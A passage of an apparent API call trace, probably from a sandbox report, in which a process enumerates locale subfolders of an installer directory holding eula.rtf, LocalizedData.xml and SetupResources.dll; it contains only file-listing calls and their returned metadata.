lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.171] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.171] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.171] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.171] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1 [0044.171] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.172] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.172] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1 [0044.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.172] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.173] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.173] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1 [0044.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.173] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.173] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.173] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1 [0044.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.173] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.174] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.174] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1 [0044.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.174] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.175] FindClose (in: hFindFile=0x10c8e10 | out: hFindFile=0x10c8e10) returned 1 [0044.175] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x33c00b0 | out: hHeap=0x2b10000) returned 1 [0044.175] FindNextFileW (in: hFindFile=0x10c9490, lpFindFileData=0x32ef554 | out: lpFindFileData=0x32ef554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1 [0044.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10c8e10 [0044.175] FindNextFileW (in: hFindFile=0x10c8e10, lpFindFileData=0x32ef2d0 | out: lpFindFileData=0x32ef2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 